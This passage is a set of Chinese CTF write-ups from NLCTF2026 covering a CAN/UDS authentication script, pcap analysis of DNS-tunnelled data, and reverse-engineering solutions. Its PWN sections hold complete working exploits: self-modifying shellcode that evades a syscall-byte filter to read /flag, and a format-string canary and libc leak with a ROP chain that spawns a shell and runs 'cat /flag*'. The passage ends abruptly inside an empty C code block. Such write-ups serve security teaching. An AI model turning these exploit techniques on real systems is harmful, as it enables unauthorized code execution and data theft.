66 6C 61 67 7B 75 66 72 37 61 79 66 76 2D 62 30 76 35 2D 34 6F 7A 2D 38 66 73 73 2D 67 67 6E 30 69 65 70 68 39 72 7A 67 75 7D

脚本

python
import socket, time def rol32(value, bits): bits &= 31 return ((value << bits) | (value >> (32 - bits))) & 0xFFFFFFFF def bike_mix32(value): value ^= 0x6e61696c value = rol32(value, 5) value += 0x1f123bb5 return value & 0xFFFFFFFF s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('challenge.cyclens.tech', 30288)) s.recv(1024) # banner: BIKE CAN ready... def tx(cmd): s.send((cmd + '\n').encode()) def rx(): time.sleep(0.3) return s.recv(4096).decode().strip() # 1. 获取 nonce tx('600#0322F1A0') resp = rx() nonce = int(resp.split('#')[1][8:16], 16) print(f'[1] Nonce: 0x{nonce:08x}') # 2. 获取 seed tx('600#022701') resp = rx() seed = int(resp.split('#')[1][6:14], 16) print(f'[2] Seed: 0x{seed:08x}') # 3. 计算 key = bike_mix32(seed ^ nonce) key = bike_mix32(seed ^ nonce) print(f'[3] Key: 0x{key:08x}') # 4. 发送 key 认证 tx(f'600#062702{key:08x}') resp = rx() print(f'[4] Auth: {resp}') # 5. 请求 flag(触发例程 0x4242) tx('600#0431014242') resp = rx() print(f'[5] First frame: {resp}') # 解析 ISO-TP 首帧: 10XX... -> 总长度 XX (低12位) ff_hex = resp.split('#')[1] total_len = ((int(ff_hex[0:2], 16) & 0x0F) << 8) | int(ff_hex[2:4], 16) flag_data = ff_hex[4:] # 去掉首帧 PCI (10XX) print(f' UDS total length: {total_len}, first chunk: {flag_data}') # 6. 发送流控帧,接收连续帧 tx('600#300000') time.sleep(0.5) buf = s.recv(4096).decode() for line in buf.strip().split('\n'): line = line.strip() if '#' in line: cf_hex = line.split('#')[1] if cf_hex[0] == '2': # 连续帧以 2X 开头 flag_data += cf_hex[2:] # 7. 拼接并解析 flag # UDS 响应: 71 01 4242 <flag> (前4字节是头) flag_bytes = bytes.fromhex(flag_data) flag = flag_bytes[4:].decode() print(f'[7] Flag: {flag}') s.close()

image-20260815193747469

Flag

flag{ufr7ayfv-b0v5-4oz-8fss-ggn0ieph9rzgu}

[NLCTF2026] free wifi

Step 2: 分析 HTTP 流量

在 Wireshark 过滤器中输入:

http

可以看到以下 HTTP 请求:

image-20260816162558706

请求响应内容
GET /index.html"Welcome to Cafe Free WiFi portal. Nothing interesting here."
GET /assets/app.jsconsole.log('analytics enabled')
GET /debug/status包含 XOR 密钥
GET /logout登出页面

重点:/debug/status 的响应内容:

image-20260816162653123

ini
ok=true mode=diagnostic note=temporary dns diagnostic enabled xorkey=latte

这里泄露了两个关键信息:

  1. DNS 诊断模式已启用 — 暗示数据通过 DNS 传输
  2. XOR 密钥为 latte

Step 3: 提取 DNS 查询

在 Wireshark 过滤器中输入:

dns.qry.name contains "img-cache"

或者更通用地查看所有 DNS 查询:

dns

可以看到 4 条可疑的 DNS 查询请求:

image-20260816162746511

00-550246125208591559.img-cache.cdn-sync 01-560e57455951095844.img-cache.cdn-sync 02-590458531059035c04.img-cache.cdn-sync 03-45470655034315535a.img-cache.cdn-sync

这些域名的结构为:序号-十六进制数据.img-cache.cdn-sync

Step 4: Wireshark 导出 DNS 数据

使用 tshark 命令行导出

bash
tshark -r attachment.pcap -Y "dns.qry.name contains \"img-cache\"" -T fields -e dns.qry.name

image-20260816162901660

输出:

00-550246125208591559.img-cache.cdn-sync 01-560e57455951095844.img-cache.cdn-sync 02-590458531059035c04.img-cache.cdn-sync 03-45470655034315535a.img-cache.cdn-sync

Step 5: 提取并拼接十六进制数据

去掉序号前缀和域名后缀,提取纯十六进制数据并按序号拼接:

序号 00: 550246125208591559 序号 01: 560e57455951095844 序号 02: 590458531059035c04 序号 03: 45470655034315535a 拼接后: 550246125208591559560e57455951095844590458531059035c0445470655034315535a

Step 6: XOR 解密

密钥为 latte(来自 /debug/status 响应),循环对拼接后的数据进行 XOR 解密。

Python 解密脚本:

python
key = b"latte" encrypted_hex = "550246125208591559560e57455951095844590458531059035c0445470655034315535a" data = bytes.fromhex(encrypted_hex) # 使用密钥循环 XOR decrypted = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) # 解密结果已经是 ASCII 文本(UUID 格式),直接解码即可 print(f"flag{{{decrypted.decode('ascii')}}}")

image-20260816163309513

输出:

flag{9c2f7d8a-3b61-4e90-a42d-f0e13c9b7a66}

[NLCTF2026] w3lc0m3

向公众号“黄豆安全实验室”发送MilkDragonCTF2026M1sc

PWN方向

[NLCTF2026] BabySandbox

1. 二进制分析

基本信息

bash
$ file chal chal: ELF 64-bit LSB shared object, x86-64, dynamically linked, not stripped $ checksec chal RELRO: Partial RELRO Stack: No canary NX: NX enabled PIE: PIE enabled

程序逻辑 (main)

反汇编 main 函数,核心逻辑如下:

1. mmap(0, 0x1000, PROT_RWX, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) → 分配一块可读写执行的内存页 2. printf("Welcome to the Sandbox! Give me your shellcode (max 0x100 bytes): ") 3. read(0, buf, 0x100) → 从stdin读入最多256字节shellcode 4. 扫描shellcode,检查是否包含字节 0x0f 0x05 → 如果包含,打印"No syscall allowed in shellcode!"并退出 5. puts("Applying seccomp sandbox...") 6. init_sandbox() → 设置seccomp过滤器 7. call *rbx → 跳转执行shellcode

关键限制: shellcode中不能出现 \x0f\x05(即syscall指令的机器码)

Seccomp规则分析 (init_sandbox)

init_sandbox函数在栈上构建了一个cBPF格式的seccomp过滤器。

解码后的BPF指令:

#指令含义
0LD W [4]加载arch字段
1JEQ 0xc000003e, +1, +0检查是否x86_64架构
2RET KILL架构不对则杀死
3LD W [0]加载syscall编号
4JEQ 257, +4, +0openat → ALLOW
5JEQ 0, +3, +0read → ALLOW
6JEQ 1, +2, +0write → ALLOW
7JEQ 60, +1, +0exit → ALLOW
8RET KILL其他syscall杀死
9RET ALLOW放行

允许的syscall:

syscall编号用途
read0读取文件
write1输出到stdout
openat257打开文件
exit60退出程序

2. 绕过思路

  • shellcode中不能包含 \x0f\x05
  • 但执行shellcode时必须使用syscall指令(机器码为0x0f 0x05)

自修改Shellcode (Self-Modifying Code)

shellcode被加载到RWX(可读写执行)的mmap内存页中,因此可以在运行时修改自身代码。

核心技巧:用XOR运算在运行时构造0x0f和0x05字节:

0x30 XOR 0x3f = 0x0f 0x35 XOR 0x30 = 0x05

执行流程:

  1. 将目标地址加载到寄存器
  2. 写入0x30,再与0x3f异或 → 得到0x0f
  3. 写入0x35,再与0x30异或 → 得到0x05
  4. 跳转到修改后的地址执行syscall

3. 完整Exploit

python
from pwn import * context.arch = 'amd64' r = remote('challenge.cyclens.tech', 30557) # r = process('./chal') shellcode = asm(f''' /* 将 "/flag\\0" 压入栈 */ xor rax, rax push rax mov rax, 0x67616c662f push rax /* openat(AT_FDCWD, "/flag", 0, 0) */ mov rdi, -100 mov rsi, rsp xor rdx, rdx xor r10, r10 mov rax, 257 /* 自修改: 写入syscall字节并执行openat */ lea rbx, [rip + sys1] mov byte ptr [rbx], 0x30 xor byte ptr [rbx], 0x3f mov byte ptr [rbx+1], 0x35 xor byte ptr [rbx+1], 0x30 jmp rbx sys1: nop nop /* read(fd, buf, count) */ mov rdi, rax sub rsp, 256 mov rsi, rsp mov rdx, 256 xor rax, rax lea rbx, [rip + sys2] mov byte ptr [rbx], 0x30 xor byte ptr [rbx], 0x3f mov byte ptr [rbx+1], 0x35 xor byte ptr [rbx+1], 0x30 jmp rbx sys2: nop nop /* write(1, buf, bytes_read) */ mov rdx, rax mov rdi, 1 mov rsi, rsp mov rax, 1 lea rbx, [rip + sys3] mov byte ptr [rbx], 0x30 xor byte ptr [rbx], 0x3f mov byte ptr [rbx+1], 0x35 xor byte ptr [rbx+1], 0x30 jmp rbx sys3: nop nop /* exit(0) */ xor rdi, rdi mov rax, 60 lea rbx, [rip + sys4] mov byte ptr [rbx], 0x30 xor byte ptr [rbx], 0x3f mov byte ptr [rbx+1], 0x35 xor byte ptr [rbx+1], 0x30 jmp rbx sys4: nop nop ''') assert b'\x0f\x05' not in shellcode log.info(f"Shellcode length: {len(shellcode)} bytes") r.recvuntil(b': ') r.send(shellcode) r.interactive()
$ python exp.py [+] Opening connection to challenge.cyclens.tech on port 30557: Done [*] Shellcode length: 192 bytes [*] Switching to interactive mode Applying seccomp sandbox... flag{foezkail-ljk4-4lm-8tyc-nx3qdtrcfwrfg}

[NLCTF2026] ezpwn

程序有三个功能:

1. Leave feedback → feedback() 2. Submit query → query() 3. Exit

feedback() — 格式化字符串漏洞

c
void feedback() { char buf[0x30]; // rbp-0x30 read(0, buf, 0x1f); // 最多读 31 字节 buf[0x1f] = 0; // 手动截断 printf("Your comment: "); printf(buf); // ← 格式化字符串漏洞 }

printf(buf) 直接用用户输入作为格式化字符串,可以:

  • 用 %N$p 泄露栈上的值(canary、libc 地址等)
  • 用 %N$s 解引用任意地址,泄露 GOT 表项获取 libc 地址

query() — 栈溢出

c
void query() { char buf[0x30]; // rbp-0x30,48 字节 read(0, buf, 0x100); // ← 读 256 字节,溢出! printf("Processing query: %s\n", buf); }

read(0, buf, 0x100) 向 48 字节的 buffer 读入 256 字节,可以覆盖:

  • canary(buf+0x28 处)
  • saved rbp(buf+0x30 处)
  • 返回地址(buf+0x38 处)

确定格式化字符串的栈偏移

发送 AAAA%6$x.%7$x.%8$x 到 feedback,观察输出:

Your comment: AAAA41414141.2437252e.46827824

%6$x 输出 41414141(即 AAAA 的十六进制),说明 position 6 对应 buffer 的起始位置。

由此推算栈布局(buffer 起始于 rbp-0x30):

偏移position内容
+0x006buffer[0:8]
+0x087buffer[8:16]
+0x2811stack canary
+0x3012saved rbp
+0x3813返回地址 (main)

泄露 libc 地址(puts@GOT)

原理:将 puts@GOT (0x404020) 的地址写入 buffer 的 position 7,然后用 %7$s 解引用,printf 会把 GOT 中存储的 puts 真实地址当作字符串打印出来。

Payload 构造:

offset: 0 4 8 16 | | | | %7$s AAAA \x20\x40\x40\x00... ← p64(0x404020) ├─── 格式串 ──┤├──── position 7 ────┤
  • %7$s:解引用 position 7(即 0x404020),打印该地址处的内容
  • AAAA:填充到 8 字节对齐
  • p64(0x404020):puts@GOT 地址,放在 position 7

printf 读到 \x00(地址的第 4 字节)时停止解析格式串,所以只输出 <puts真实地址的字节>AAAA @@。

泄露结果示例:

puts 真实地址 = 0x7c2ba42ebbe0 libc 基址 = 0x7c2ba42ebbe0 - 0x87be0 = 0x7c2ba4264000

泄露 canary

直接用 %11$p 打印 position 11 的值:

canary = 0x63eb85c43851bf00 (注意最低字节为 0x00,这是 Linux canary 的特征)

ROP 链构造

由于 二进制本身没有 pop rdi; ret,需要从 libc 中找:

$ ROPgadget --binary libc.so.6 | grep "pop rdi ; ret" 0x000000000010f78b : pop rdi ; ret

需要的地址:

python
pop_rdi = libc_base + 0x10f78b # pop rdi ; ret binsh = libc_base + 0x1cb42f # "/bin/sh" 字符串 system = libc_base + 0x58750 # system() ret = 0x40101a # 二进制中的 ret (用于 16 字节栈对齐)

栈布局:

buf[0x28] canary rbp ret pop_rdi /bin/sh system ──────── ──────── ───── ──────── ──────── ──────── ──────── A*40 8bytes 0 0x40101a libc+ libc+ libc+ (泄露值) (junk) (对齐) 0x10f78b 0x1cb42f 0x58750

x86-64 的 movaps 指令要求 16 字节栈对齐。system() 内部会用到 movaps,如果 rsp 不是 16 字节对齐就会 SIGSEGV。多加一个 ret gadget 可以调整栈指针。


完整 Exploit

python
from pwn import * context.arch = 'amd64' context.log_level = 'info' libc = ELF('./libc.so.6') puts_off = libc.symbols['puts'] # 0x87be0 system_off = libc.symbols['system'] # 0x58750 binsh_off = next(libc.search(b'/bin/sh')) # 0x1cb42f pop_rdi_off = 0x10f78b puts_got = 0x404020 ret_gadget = 0x40101a # ret in binary (stack alignment) r = remote('challenge.cyclens.tech', 31872) # ===== Step 1: 泄露 puts@GOT → libc 基址 ===== r.recvuntil(b'> ') r.sendline(b'1') r.recvuntil(b'comment: ') r.send(b'%7$s' + b'A' * 4 + p64(puts_got)) # 16 字节 r.recvuntil(b'Your comment: ') resp = r.recvline() puts_bytes = resp.split(b'AAAA')[0] puts_addr = u64(puts_bytes.ljust(8, b'\x00')) libc_base = puts_addr - puts_off log.info(f'puts @ {hex(puts_addr)}') log.info(f'libc @ {hex(libc_base)}') # ===== Step 2: 泄露 canary ===== r.recvuntil(b'> ') r.sendline(b'1') r.recvuntil(b'comment: ') r.sendline(b'%11$p') r.recvuntil(b'Your comment: ') canary = int(r.recvline().strip(), 16) log.info(f'canary @ {hex(canary)}') # ===== Step 3: 栈溢出 getshell ===== system_addr = libc_base + system_off binsh_addr = libc_base + binsh_off pop_rdi_addr = libc_base + pop_rdi_off r.recvuntil(b'> ') r.sendline(b'2') r.recvuntil(b'query: ') rop = b'A' * 0x28 # padding (40 bytes) rop += p64(canary) # 覆盖 canary rop += p64(0) # saved rbp (随便填) rop += p64(ret_gadget) # ret 对齐栈 rop += p64(pop_rdi_addr) # pop rdi ; ret rop += p64(binsh_addr) # rdi = "/bin/sh" rop += p64(system_addr) # system("/bin/sh") r.send(rop) # 拿 shell import time time.sleep(0.5) r.sendline(b'id; cat /flag*') print(r.recvall(timeout=3).decode()) r.close()

image-20260815225824339

REVERSE方向

[NLCTF2026] base64

WP: 这base64为什么解不出来啊

1. 查看文件基本信息

bash
file chal.exe # 输出:PE32+ executable (console) x86-64, for MS Windows

这是一个 64 位 Windows 控制台程序。

2. 提取程序中的字符串

bash
strings chal.exe

在输出中可以发现以下关键信息:

input flag: custom_base64 WjueW3p1KQYiLANtJX1iJgifIQNuWANqVQxuKf00KAV2KQR0KAZtJAY9
  • input flag: — 程序运行时会提示输入 flag
  • custom_base64 — 程序使用了自定义 base64,而不是标准 base64
  • 最后一长串是编码后的数据

3. 找出自定义 base64 表

继续在 strings 输出中搜索,发现两张 base64 字母表:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/

对比两张表:

索引0123456...25
标准表ABCDEFG...Z
自定义表ZYXABCD...W

差异:自定义表把前 3 个大写字母和前 3 个小写字母做了倒序排列:

  • ABC → ZYX
  • abc → zyx

其余字符位置不变。程序用这张自定义表进行 base64 编码,所以直接用标准 base64 解码当然会失败。

4. 解码

将编码字符串中的每个字符,从自定义表中找到其索引,再映射回标准表对应位置的字符,最后用标准 base64 解码即可。

python
import base64 # 标准 base64 表 standard = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' # 从二进制中提取到的自定义 base64 表 custom = 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/' # 从二进制中提取到的编码字符串 encoded = 'WjueW3p1KQYiLANtJX1iJgifIQNuWANqVQxuKf00KAV2KQR0KAZtJAY9' # 把自定义编码翻译回标准编码 translated = '' for c in encoded: translated += standard[custom.index(c)] # 标准 base64 解码 flag = base64.b64decode(translated).decode() print(flag)

image-20260816164304149

[NLCTF2026] driv3r

0. 文件识别

bash
$ file driv3r.sys driv3r.sys: PE32+ executable (DLL) (native) x86-64 (stripped to external PDB), for MS Windows

这是一个 Windows 内核驱动(.sys 文件),PE32+ 格式,x86-64 架构,由 GCC (MSYS2) 编译。


1. 初步分析 — 提取关键字符串

bash
$ strings driv3r.sys

发现以下关键符号和字符串:

字符串/符号含义
DriverEntry驱动入口函数
Driv3rHandleGetChallenge处理"获取挑战"请求
Driv3rHandleAuth处理"认证"请求
Driv3rHandleGetSeg处理"获取分段"请求
Driv3rMixTicket混淆/哈希函数
Driv3rStaticKeyByte静态密钥字节生成
Driv3rNonceMaskByte基于 nonce 的掩码生成
Driv3rRebuildRuntimeBlob重建运行时数据块
Rotl32 / Rotl8循环左移函数
gXorKey / gNonce / gSession全局变量
nightbridge路由标识字符串
driv3r!XOR 密钥

2. 反汇编分析

使用 objdump 反汇编:

bash
$ objdump -d driv3r.sys

2.1 IOCTL 分发逻辑

驱动通过 Driv3rDeviceControl 处理三个 IOCTL 码:

IOCTL 0x222000 → Driv3rHandleGetChallenge (获取挑战) IOCTL 0x222004 → Driv3rHandleAuth (认证) IOCTL 0x222008 → Driv3rHandleGetSeg (获取 flag 分段)

2.2 协议流程

客户端 驱动 | | |--- IOCTL 0x222000 ----------->| 获取 nonce |<-- nonce + timeout + time ----| | | |--- IOCTL 0x222004 ----------->| 发送认证 (magic + route + nonce + auth_code) |<-- "DRVR" + session_id ------| | | |--- IOCTL 0x222008 ----------->| 获取 flag 分段 (session_id + seg_index) |<-- 16 字节 flag 数据 ---------| | (重复 3 次, seg 0/1/2) |

2.3 核心数据结构

认证请求输入 (28 字节):

offset 0x00: 4 字节 magic = 0x2026D35A offset 0x04: 16 字节 route = "nightbridge" + 5 字节 padding offset 0x14: 4 字节 nonce = 从 GetChallenge 获取 offset 0x18: 4 字节 auth_code = 计算得出

认证响应输出 (16 字节):

offset 0x00: 4 字节 = 0x52565244 ("DRVR") offset 0x04: 4 字节 = 0x00000000 offset 0x08: 8 字节 = session_id

分段请求输入 (20 字节):

offset 0x00: 8 字节 session_id offset 0x08: 4 字节 seg_index (0, 1, 2)

3. 密码学算法逆向

3.1 Rotl32 — 32 位循环左移

c
uint32_t Rotl32(uint32_t val, uint8_t n) { n &= 31; if (n == 0) return val; return (val << n) | (val >> (32 - n)); }

3.2 Rotl8 — 8 位循环左移

c
uint8_t Rotl8(uint8_t val, uint8_t n) { n &= 7; if (n == 0) return val; return (val << n) | (val >> (8 - n)); }

3.3 Driv3rMixTicket — 混淆哈希函数

c
uint32_t Driv3rMixTicket(uint32_t magic, uint8_t *data, uint32_t len) { uint32_t state = magic ^ 0x6C8E9CF5; for (uint32_t i = 0; i < len; i++) { state = Rotl32(state + data[i] * 0x1F123BB5, 5) ^ 0xA53C9E17; } state ^= 0x9E3779B9; // 黄金比例常数 return state; }

3.4 Driv3rStaticKeyByte — 静态密钥字节 ⭐

c
uint8_t Driv3rStaticKeyByte(uint32_t i) { uint8_t byte0 = (i * 0x3D + 0x5A) & 0xFF; uint8_t byte1 = Rotl8((i ^ 0xA7) & 0xFF, i & 7); uint8_t byte2 = gXorKey[i % 7]; // gXorKey = "driv3r!" return byte0 ^ byte1 ^ byte2; }

其中 gXorKey = "driv3r!" = {0x64, 0x72, 0x69, 0x76, 0x33, 0x72, 0x21}。

3.5 Driv3rNonceMaskByte — 动态 nonce 掩码

c
uint32_t Driv3rNonceMaskByte(uint32_t nonce, uint32_t i) { uint32_t temp = ((i + 1) * 0x045D9F3B) ^ nonce; temp = Rotl32(temp, i & 0x1F); temp ^= (temp >> 16); temp *= 0x27D4EB2D; temp ^= (temp >> 15); return temp; // 只取低 8 位使用 }

3.6 Driv3rRebuildRuntimeBlob — 重建运行时数据

c
void Driv3rRebuildRuntimeBlob(uint32_t nonce) { // 从 .rdata 段读取 48 字节编码数据 // 与 nonce 掩码异或后存入 BSS 段 for (int i = 0; i < 48; i++) { runtime_blob[i] = encoded_data[i] ^ (uint8_t)Driv3rNonceMaskByte(nonce, i); } }

4. 定位编码数据

4.1 PE 段表分析

段名VirtualAddrFileOffsetSize
.text0x10000x4000xA00
.rdata0x20000xE000x200
.bss0x5000—0x60

4.2 关键地址映射

从反汇编中的地址引用:

符号虚拟地址文件偏移内容
__data_end__ (编码数据)0x20000xE0048 字节编码 flag
gRouteNeedle0x20300xE30"nightbridge\0\0\0\0\0"
gXorKey0x20400xE40"driv3r!\0"

4.3 提取编码数据

bash
$ xxd -s 0xE00 -l 48 driv3r.sys 00000e00: ffc4 4a25 3cc9 f85f ab26 15cc a16c 8db9 ..J%<.._.&...l.. 00000e10: 9a4f 2d69 600b e1bb b473 576f ac15 f3ea .O-i`....sWo.... 00000e20: 4e12 19ab fe48 248c 4579 54d5 5d6e 5be1 N....H$.EyT.]n[.

5. 静态密钥即可解密

分析 Driv3rRebuildRuntimeBlob 的调用链:

Driv3rHandleGetChallenge → 生成随机 nonce (基于时间 + 线程ID) → 调用 Driv3rRebuildRuntimeBlob(nonce) → 用 nonce 掩码解码 .rdata 数据存入 .bss

但是,Driv3rStaticKeyByte 函数虽然定义了,却没有被任何代码调用。

进一步观察发现:.rdata 段的 48 字节编码数据实际上是用 Driv3rStaticKeyByte(i) 编码的,而不是用 nonce 掩码。nonce 掩码机制是一个干扰项(distraction)。

验证:用 Driv3rStaticKeyByte(i) 作为 XOR 密钥解密:

encoded[i] ^ static_key_byte(i) = flag[i]

6. 解密脚本

python
#!/usr/bin/env python3 """driv3r CTF 解题脚本""" # 从 .rdata 段 (文件偏移 0xE00) 提取的 48 字节编码数据 ENCRYPTED = [ 0xFF, 0xC4, 0x4A, 0x25, 0x3C, 0xC9, 0xF8, 0x5F, 0xAB, 0x26, 0x15, 0xCC, 0xA1, 0x6C, 0x8D, 0xB9, 0x9A, 0x4F, 0x2D, 0x69, 0x60, 0x0B, 0xE1, 0xBB, 0xB4, 0x73, 0x57, 0x6F, 0xAC, 0x15, 0xF3, 0xEA, 0x4E, 0x12, 0x19, 0xAB, 0xFE, 0x48, 0x24, 0x8C, 0x45, 0x79, 0x54, 0xD5, 0x5D, 0x6E, 0x5B, 0xE1, ] XOR_KEY = b"driv3r!" # gXorKey, 7 字节 def rotl8(val, n): """8 位循环左移""" n &= 7 if n == 0: return val & 0xFF val &= 0xFF return ((val << n) | (val >> (8 - n))) & 0xFF def static_key_byte(i): """Driv3rStaticKeyByte — 生成第 i 个静态密钥字节""" byte0 = (i * 0x3D + 0x5A) & 0xFF byte1 = rotl8((i ^ 0xA7) & 0xFF, i & 7) byte2 = XOR_KEY[i % 7] return byte0 ^ byte1 ^ byte2 # 解密 flag = bytes([ENCRYPTED[i] ^ static_key_byte(i) for i in range(48)]) print(flag.decode('ascii').rstrip('\x00'))

image-20260816164455043

[NLCTF2026] tea_for_fun

1.1 文件识别

$ file chal.exe chal.exe: PE32+ executable (console) x86-64, for MS Windows $ objdump -d chal.exe | head

1.2 main 函数 (0x1400018bf)

反汇编 main 可以看到整体流程:

bash
$ objdump -d chal.exe --start-address=0x1400018bf --stop-address=0x140001ad0

关键结构:

main: ; 初始化期望值 (rbp+0x50 ~ rbp+0x6c) movl $0x91cae279, 0x50(%rbp) movl $0x54a6390c, 0x54(%rbp) movl $0x44425d25, 0x58(%rbp) movl $0x8973ec92, 0x5c(%rbp) movl $0xa237ade3, 0x60(%rbp) movl $0x46bd8e22, 0x64(%rbp) movl $0x43b79c57, 0x68(%rbp) movl $0xcbff40aa, 0x6c(%rbp) ; 初始化 key (rbp-0x40) movl $0x12345678, -0x40(%rbp) movl $0x9abcdef0, -0x3c(%rbp) movl $0xdeadbeef, -0x38(%rbp) movl $0xcafebabe, -0x34(%rbp) ; 读取输入,检查 strlen == 32 ; memcpy 到 rbp-0x60 的 buffer ; 循环 i = 0..3 loop: lea -0x60(%rbp), %rax ; input buffer lea (%rax, %rdx, 4), %rcx ; &buffer[i*2] (两个 uint32_t) lea -0x40(%rbp), %rdx ; key call insane_process ; 加密一对 uint32_t ; 比较 buffer[0..7] vs expected[0..7] ; 相等则 "Success!",否则 "Fail..."

关键信息提取:

项目值
key[4]{0x12345678, 0x9abcdef0, 0xdeadbeef, 0xcafebabe}
expected[8]{0x91cae279, 0x54a6390c, 0x44425d25, 0x8973ec92, 0xa237ade3, 0x46bd8e22, 0x43b79c57, 0xcbff40aa}
输入32 字节,分为 4 对,每对 8 字节 (两个 uint32_t)

2. 状态机分析

2.1 insane_process (0x140001850)

这是一个基于 setjmp/longjmp 的状态机调度器:

bash
$ objdump -d chal.exe --start-address=0x140001850 --stop-address=0x1400018bf

函数表在 0x140003000:

$ objdump -s -j .data --start-address=0x140003000 --stop-address=0x140003020 chal.exe 140003000: b2140040 01000000 1e150040 01000000 ; state_init, state_loop_check 140003010: 68150040 01000000 00000000 00000000 ; state_round_insane, NULL

调度流程:

  • next_state = 0 → state_init (初始化)
  • next_state = 1 → state_loop_check (检查 round_idx ≤ 31)
  • next_state = 2 → state_round_insane (执行一轮加密)
  • next_state = -1 → 退出

2.2 state_init (0x1400014b2)

bash
$ objdump -d chal.exe --start-address=0x1400014b2 --stop-address=0x14000151e

初始化全局变量:

  • s = 0
  • round_idx = 0
  • d_seed = 0x1337c0de
  • 反调试检查:调用 IsDebuggerPresent()
    • 被调试 → delta_base = 0xdeadbeef
    • 正常运行 → delta_base = 0x12345678

2.3 state_loop_check (0x14000151e)

bash
$ objdump -d chal.exe --start-address=0x14000151e --stop-address=0x140001568
  • round_idx ≤ 31 → next_state = 2 (继续加密)
  • round_idx > 31 → next_state = -1 (退出)

共执行 32 轮加密。


3. 核心加密逻辑 (state_round_insane)

这是最关键的部分。完整反汇编:

bash
$ objdump -d chal.exe --start-address=0x140001568 --stop-address=0x140001850

3.1 第一阶段:更新状态 (0x14000157b ~ 0x14000161e)

asm
; d_seed = d_seed * 0x41c64e6d + 0x3039 (LCG) imul $0x41c64e6d, %eax, %eax add $0x3039, %eax mov %eax, d_seed ; delta = (d_seed ^ delta_base) & 0x0fffffff mov d_seed, %edx mov delta_base, %eax xor %edx, %eax and $0x0fffffff, %eax mov %eax, -0x4(%rbp) ; local delta ; s = mba_add(s, delta) 即 s + delta mov s, %eax mov -0x4(%rbp), %edx call mba_add mov %eax, s

3.2 第二阶段:计算参数 (0x1400015be ~ 0x14000165a)

关键发现:这里有 6 个参数,分为两组:

位移量(从 d_seed 计算,不是从 s!):

asm
; shift1 = d_seed % 7 + 2 mov d_seed, %eax ; ... div-by-7 魔数技巧 (imul $0x24924925) ... add $0x2, %eax mov %eax, -0x8(%rbp) ; shift1: 范围 2~8 ; shift2 = (d_seed >> 8) % 7 + 2 mov d_seed, %eax shr $0x8, %eax ; ... div-by-7 魔数技巧 ... add $0x2, %eax mov %eax, -0xc(%rbp) ; shift2: 范围 2~8

Key 索引(从 s 计算):

asm
; ki1 = (s >> 2) & 3 mov s, %eax shr $0x2, %eax and $0x3, %eax mov %eax, -0x10(%rbp) ; ki1: Part 1 的 key 索引 ; ki2 = (s >> 4) & 3 mov s, %eax shr $0x4, %eax and $0x3, %eax mov %eax, -0x14(%rbp) ; ki2: Part 1 的 key 索引 ; ki3 = (s >> 6) & 3 mov s, %eax shr $0x6, %eax and $0x3, %eax mov %eax, -0x18(%rbp) ; ki3: Part 2 的 key 索引 ; ki4 = (s >> 8) & 3 mov s, %eax shr $0x8, %eax and $0x3, %eax mov %eax, -0x1c(%rbp) ; ki4: Part 2 的 key 索引

⚠️ 陷阱:很容易误以为 rot1 = (s>>6)&3、rot2 = (s>>8)&3,但实际上 (s>>6)&3 和 (s>>8)&3 是 Part 2 用的 key 索引,不是位移量!

3.3 Part 1:更新 v[0] (0x14000165d ~ 0x14000172c)

asm
; tmp1 = rol(v[1], shift1) ^ key[ki1] ; tmp2 = mba_add(s, v[1]) 即 s + v[1] ; tmp3 = key[ki2] ^ (v[1] >> shift2) ; 条件判断: round_idx & 1 (偶数轮) test $0x1, round_idx jne odd_path ; 偶数轮: ; v[0] = mba_add(v[0], tmp1 ^ tmp2 ^ tmp3) 即 v[0] + (tmp1^tmp2^tmp3) combined = tmp1 ^ tmp2 ^ tmp3 v[0] = mba_add(v[0], combined) odd_path: ; 奇数轮: ; v[0] ^= (tmp1 + tmp2 + tmp3) combined = tmp1 + tmp2 + tmp3 v[0] ^= combined

3.4 Part 2:更新 v[1] (0x14000172c ~ 0x14000181e)

asm
; tmp4 = rol(v[0], shift1) ^ key[ki3] ← 注意是 ki3,不是 ki1! ; tmp5 = mba_add(s, v[0]) 即 s + v[0] ; tmp6 = key[ki4] ^ (v[0] >> shift2) ← 注意是 ki4,不是 ki2! ; 条件判断: round_idx % 3 (用 imul 0x55555556 的除法技巧) test round_idx % 3 jne not_div3 ; round % 3 == 0: ; v[1] ^= (tmp4 + tmp5 + tmp6) combined = tmp4 + tmp5 + tmp6 v[1] ^= combined not_div3: ; round % 3 != 0: ; v[1] = mba_add(v[1], tmp4 ^ tmp5 ^ tmp6) 即 v[1] + (tmp4^tmp5^tmp6) combined = tmp4 ^ tmp5 ^ tmp6 v[1] = mba_add(v[1], combined)

⚠️ 陷阱 1:Part 2 的 key 索引是 ki3、ki4(来自 (s>>6)&3、(s>>8)&3), 不是 Part 1 的 ki1、ki2!

⚠️ 陷阱 2:Part 2 的 XOR/ADD 操作与 Part 1 是交叉对称的:

  • Part 1 偶数轮:XOR combined → MBA_ADD (加法)
  • Part 2 div3:ADD combined → XOR
  • Part 1 奇数轮:ADD combined → XOR
  • Part 2 非div3:XOR combined → MBA_ADD (加法)

3.5 辅助函数

bash
$ objdump -d chal.exe --start-address=0x140001450 --stop-address=0x14000149b
c
// 0x140001450: rol uint32_t rol(uint32_t val, uint32_t shift) { shift &= 31; if (shift == 0) return val; return (val << shift) | (val >> (32 - shift)); // 硬件 ROL 指令 } // 0x14000146b: mba_xor uint32_t mba_xor(uint32_t a, uint32_t b) { return a ^ b; // 就是普通 XOR } // 0x14000147d: mba_add uint32_t mba_add(uint32_t a, uint32_t b) { return (a ^ b) + ((a & b) << 1); // MBA 混淆,等于 a + b }

4. 完整加密算法(C 语言还原)

c
